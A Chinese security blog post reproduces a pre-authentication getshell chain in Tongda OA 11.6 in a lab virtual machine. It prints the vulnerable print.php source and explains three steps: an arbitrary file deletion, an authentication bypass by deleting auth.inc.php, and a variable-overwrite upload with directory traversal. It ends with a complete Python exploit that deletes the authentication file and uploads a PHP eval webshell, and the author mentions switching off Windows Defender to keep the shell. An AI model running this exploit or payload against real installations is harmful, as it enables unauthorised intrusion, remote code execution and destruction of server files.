通达OA11.6 getshell 复现
本文最后更新于 588 天前,其中的信息可能已经有所发展或是发生改变。

要护网了,没事复现一下通达OA11.6的洞。

环境搭建

部署方式挺傻瓜式的,一个exe文件,一键安装,甚至连php_study都不用。本着不能。破坏主机环境的原则,拉到虚拟机去了。

通达应用服务控制中心:

php解密

源码分析卡了我很久,发现整个项目的php文件是被Zend方法加密的,骚到了骚到了。

在线解密网站:DEPHP解密

批量解密工具:SeayDzend(zend解密工具)

解密完就能分析源码了(虚拟机还是有点久的,大概撕了快一个小时了吧)。

任意文件删除

漏洞起点在/module/appbuilder/asserts/print.php文件中。

<?php

$s_tmp = __DIR__ . "/../../../../logs/appbuilder/logs";
$s_tmp .= "/" . $_GET["guid"];

if (file_exists($s_tmp)) {
	$arr_data = unserialize(file_get_contents($s_tmp));
	unlink($s_tmp);
	$s_user = $arr_data["user"];
}
else {
	echo "未知参数";
	exit();
}

include_once "general/appbuilder/web/get_crscell.php";
echo "<!DOCTYPE>\r\n<head>\r\n\t<meta http-equiv=\"X-UA-Compatible\" content=\"IE=Edge\" >\r\n</head>\r\n<body>\r\n<p>——打印(请确保本机安装了office word或wps专业版办公软件。如果打印不出来,请到任务管理器把word或wps进程全部结束,然后重新打印。打印时用默认打印机打印,请到控制面板中设置默认打印机。)——</p>\r\n<!--object不能隐藏,否则会导致手写签章打印不了-->\r\n<OBJECT classid=\"clsid:75B2196F-E164-445A-ADCA-A15DDEFF24B0\" id=CellWeb1 name=CellWeb1 style=\"DISPLAY: none; LEFT: 0px; TOP: 0px; POSITION: ABSOLUTE;width:1;height:1;\">\r\n</OBJECT>\r\n</body>\r\n<script type=\"text/javascript\" src=\"/module/appbuilder/js/json.js\"></script>\r\n<script type=\"text/javascript\" src=\"/static/js/jquery-1.10.2/jquery.min.js\"></script>\r\n<script LANGUAGE=\"javascript\">\r\n    var isTrident =  navigator.userAgent.indexOf('Trident') > -1;\r\n    if(!isTrident){\r\n        close();\r\n    }\r\n    var printData = $.parseJSON('";
echo $arr_data["data"];
echo "');\r\n    function sealToPicture() {\r\n        $.each(printData, function (index, aForm) {\r\n            var col_count = 0;\r\n            $.each(aForm, function (col_index, aData) {\r\n                if (aData.datatype2 == \"signature\" || aData.datatype2 == \"seal\") {\r\n                    if (aData.value == '') {\r\n                        return true;\r\n                    }\r\n                    //console.log(aData.value);\r\n                    col_count++\r\n                    if (window.DWebSignSeal == undefined) {\r\n                        $('<object id=\"seal\" classid=\"CLSID:77709A87-71F9-41AE-904F-886976F99E3E\" style=\"width:150px;height:150px;display:none;\" codebase=\"/module/websign/WebSign_trial.dll#version=4,5,0,0\"></object>').appendTo($(\"body\"));\r\n                        window.DWebSignSeal = $(\"object[classid='CLSID:77709A87-71F9-41AE-904F-886976F99E3E']\")[0];\r\n                        window.DWebSignSeal.SetCurrUser(\"";
echo $s_user;
echo "\");\r\n                    }\r\n                    var dt = aData.value.split(',')\r\n                    if (dt.length > 0 && dt[0] != '') {\r\n                        window.DWebSignSeal.SetStoreData(dt[0]);\r\n                    }\r\n                    if (dt.length > 1 && dt[1] != '') {\r\n                        window.DWebSignSeal.SetStoreData(dt[1]);\r\n                    }\r\n                    window.DWebSignSeal.ShowWebSeals();\r\n\r\n                    var s_seal_pic = '';\r\n                    var s_path = window.DWebSignSeal.GetTempFileName();\r\n                    var p = s_path.lastIndexOf(\"/\");\r\n                    s_path = s_path.substring(0, p + 1);\r\n                    var i_count = 1;\r\n                    var aSeal = window.DWebSignSeal.FindSeal(\"\", 0);\r\n                    //路径加时间戳解决可能是删除失败总打印同一个章的问题 by cjw 4.26\r\n                    var timestamp = (new Date()).valueOf();\r\n                    //console.log(aSeal)\r\n                    while (aSeal) {\r\n                        window.DWebSignSeal.SetSealSignData(aSeal, aData.otherData != undefined ? aData.otherData : \"\");\r\n                        window.DWebSignSeal.GetSealBmpToFile(aSeal, 'gif', s_path + \"_PRINT_SEAL_\" + index + \"_\" + col_count + \"_\" + i_count + \"_\" + timestamp + \"_.gif\");\r\n                        //window.DWebSignSeal.GetSealBmpToFile(aSeal, 'gif', \"d:/\" + \"_PRINT_SEAL_\" + index + \"_\" + col_count + \"_\" + i_count + \"_.gif\");\r\n                        if (s_seal_pic != '') {\r\n                            s_seal_pic += ','\r\n                        }\r\n                        s_seal_pic += s_path + \"_PRINT_SEAL_\" + index + \"_\" + col_count + \"_\" + i_count + \"_\" + timestamp + \"_.gif\"\r\n                        window.DWebSignSeal.DelLocalFile(window.DWebSignSeal.GetTempFileName());\r\n                        aSeal = window.DWebSignSeal.FindSeal(aSeal, 0);\r\n                        i_count++;\r\n                    }\r\n//                    window.DWebSignSeal.GetSealBmpToFile(aSeal, 'gif', 'd:/1.gif');//s_path + \"_PRINT_SEAL_\" + index + \"_.gif\");\r\n                    //window.DWebSignSeal.DelLocalFile(window.DWebSignSeal.GetTempFileName());\r\n                    var aSeal = window.DWebSignSeal.FindSeal(\"\", 0);\r\n                    while (aSeal) {\r\n                        window.DWebSignSeal.DelSeal(aSeal)\r\n                        aSeal = window.DWebSignSeal.FindSeal(aSeal, 0);\r\n                    }\r\n                    printData[index][col_index][\"value\"] = s_seal_pic;\r\n                }\r\n            })\r\n        })\r\n        $(\"div[id$='_hw_']\").remove();\r\n//        console.log(printData)\r\n    }\r\n//    function sealToPicture() {\r\n//        $.each(printData, function (index, aForm) {\r\n//            var col_count = 0;\r\n//            $.each(aForm, function (col_index, aData) {\r\n//                if (aData.datatype2 == \"signature\" || aData.datatype2 == \"seal\") {\r\n//                    if (aData.value == '') {\r\n//                        return true;\r\n//                    }\r\n//                    //console.log(aData.value);\r\n//                    col_count++\r\n//                    if (window.DWebSignSeal == undefined) {\r\n//                        $('<object id=\"seal\" classid=\"CLSID:77709A87-71F9-41AE-904F-886976F99E3E\" style=\"width:150px;height:150px;display:none;\" codebase=\"/module/websign/WebSign_trial.dll#version=4,5,0,0\"></object>').appendTo($(\"body\"));\r\n//                        window.DWebSignSeal = $(\"object[classid='CLSID:77709A87-71F9-41AE-904F-886976F99E3E']\")[0];\r\n//                        window.DWebSignSeal.SetCurrUser(\"";
echo "//\");\r\n//                    }\r\n//                    var dt = aData.value.split(',')\r\n//                    if (dt.length > 0 && dt[0] != '') {\r\n//                        window.DWebSignSeal.SetStoreData(dt[0]);\r\n//                    }\r\n//                    if (dt.length > 1 && dt[1] != '') {\r\n//                        window.DWebSignSeal.SetStoreData(dt[1]);\r\n//                    }\r\n//                    window.DWebSignSeal.ShowWebSeals();\r\n//\r\n//                    var s_seal_pic = '';\r\n//                    var s_path = window.DWebSignSeal.GetTempFileName()\r\n//                    var p = s_path.lastIndexOf(\"/\");\r\n//                    s_path = s_path.substring(0, p + 1);\r\n//                    var i_count = 1;\r\n//                    var aSeal = window.DWebSignSeal.FindSeal(\"\", 0);\r\n//                    //路径加时间戳解决可能是删除失败总打印同一个章的问题 by cjw 4.26\r\n//                    var timestamp = (new Date()).valueOf();\r\n//                    //console.log(aSeal)\r\n//                    while (aSeal) {\r\n//                        window.DWebSignSeal.SetSealSignData(aSeal, aData.otherData != undefined ? aData.otherData : \"\");\r\n//                        window.DWebSignSeal.GetSealBmpToFile(aSeal, 'gif', s_path + \"_PRINT_SEAL_\" + index + \"_\" + col_count + \"_\" + i_count + \"_\" + timestamp + \"_.gif\");\r\n//                        //window.DWebSignSeal.GetSealBmpToFile(aSeal, 'gif', \"d://\" + \"_PRINT_SEAL_\" + index + \"_\" + col_count + \"_\" + i_count + \"_.gif\");\r\n//                        if (s_seal_pic != '') {\r\n//                            s_seal_pic += ','\r\n//                        }\r\n//                        s_seal_pic += s_path + \"_PRINT_SEAL_\" + index + \"_\" + col_count + \"_\" + i_count + \"_\" + timestamp + \"_.gif\"\r\n//                        window.DWebSignSeal.DelLocalFile(window.DWebSignSeal.GetTempFileName());\r\n//                        aSeal = window.DWebSignSeal.FindSeal(aSeal, 0);\r\n//                        i_count++;\r\n//                    }\r\n////                    window.DWebSignSeal.GetSealBmpToFile(aSeal, 'gif', 'd://1.gif');//s_path + \"_PRINT_SEAL_\" + index + \"_.gif\");\r\n//                    //window.DWebSignSeal.DelLocalFile(window.DWebSignSeal.GetTempFileName());\r\n//                    var aSeal = window.DWebSignSeal.FindSeal(\"\", 0);\r\n//                    while (aSeal) {\r\n//                        window.DWebSignSeal.DelSeal(aSeal)\r\n//                        aSeal = window.DWebSignSeal.FindSeal(aSeal, 0);\r\n//                    }\r\n//                    printData[index][col_index][\"value\"] = s_seal_pic;\r\n//                }\r\n//            })\r\n//        })\r\n//        $(\"div[id$='_hw_']\").remove();\r\n//       //console.log(printData)\r\n//    }\r\n\r\n    function open_report() {\r\n        sealToPicture();\r\n        var s_href = location.href;\r\n        var i_idx = s_href.indexOf(\"/\", 8);\r\n        s_href = s_href.substring(0, i_idx);\r\n        CellWeb1.TemplatePrint2(s_href, '";
echo $arr_data["phpsessid"];
echo "', \"";
echo $arr_data["attach_uri"];
echo "\", JSON.stringify(printData));\r\n        if(window.opener){\r\n            window.opener.close();\r\n        }\r\n        close();\r\n    }\r\n\r\n    window.setTimeout('open_report();', 0);\r\n</script>";

?>

源码不长,放出来大家共赏吧。不得不说,但凡没有十年脑血栓都写不出这样的代码。这里有一个任意文件删除,只要提交参数$guid就可以删除任意文件。

身份认证绕过

通达OA通常通过文件包含认证文件auth_inc.php的方式进行身份认证。

文件中,会检查用户的SESSION,如果没有登录,会直接阻断。但是如果利用任意文件删除漏洞,将inc/auth_inc.php文件删除,由于PHP中include_once没有文件包含时自动跳过,就可以绕过身份认证了。

文件上传

上传点位于\webroot\general\data_center\utils\upload.php

首先第三行,对用户身份进行认证,可以直接通过任意文件删除绕过;在第六行包含了inc/header.inc.php文件,将所有提交的$_REQUEST注册为变量,这里可以使用变量覆盖。

第10行和第11行分别修改$action参数和$filetype参数,将文件上传到/data_center/attachment

接着,将$s_n覆盖为即将上传的文件名,利用$repkid参数进行目录穿越(因为OA的Nginx限制了文件目录的访问权限,禁止了php文件的解析,所以需要上传到其他目录中),最后拼接字符串。

利用链总结

利用print.php文件中存在任意文件删除漏洞,删除身份验证文件/auth.inc.php从而绕过身份认证。

在文件上传点中存在变量覆盖漏洞,修改参数实现任意文件上传以及目录穿越。

exp

手撕也可以,直接用脚本打也可以,毕竟通用exp已经烂大街了。

由于官方修复方式是直接删除print.php,所以如果不香造成破坏的话,直接检测有没有存在print.php就好了。

import requests

target="http://1ocalhost/"
payload="<?php eval($_POST['shell']);?>"
print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
input("Press enter to continue")
print("[*]Deleting auth.inc.php....")

url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
requests.get(url=url)
print("[*]Checking if file deleted...")
url=target+"/inc/auth.inc.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
    print("[-]Failed to deleted auth.inc.php")
    exit(-1)
print("[+]Successfully deleted auth.inc.php!")
print("[*]Uploading payload...")
url=target+"/general/data_center/utils/upload.php?action=upload&filetype=tql&repkid=/.<>./.<>./.<>./"
files = {'FILE1': ('shell.php', payload)}
requests.post(url=url,files=files)
url=target+"/_shell.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
    print("[+]Filed Uploaded Successfully")
    print("[+]URL:",url)
else:
    print("[-]Failed to upload file")

成功了,然后愉快的被Windows Defender删掉了= – =。

把狗关掉,重新上传。

愉快看到自己的小马

参考

https://v0w.top/2020/03/20/TODA-FileUpload-Inclusion-vuln/#%E5%89%8D%E8%A8%80

https://drivertom.blogspot.com/2020/08/oa116-preauth-rce-0day.html

https://blog.csdn.net/weixin_42450002/article/details/112336393

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇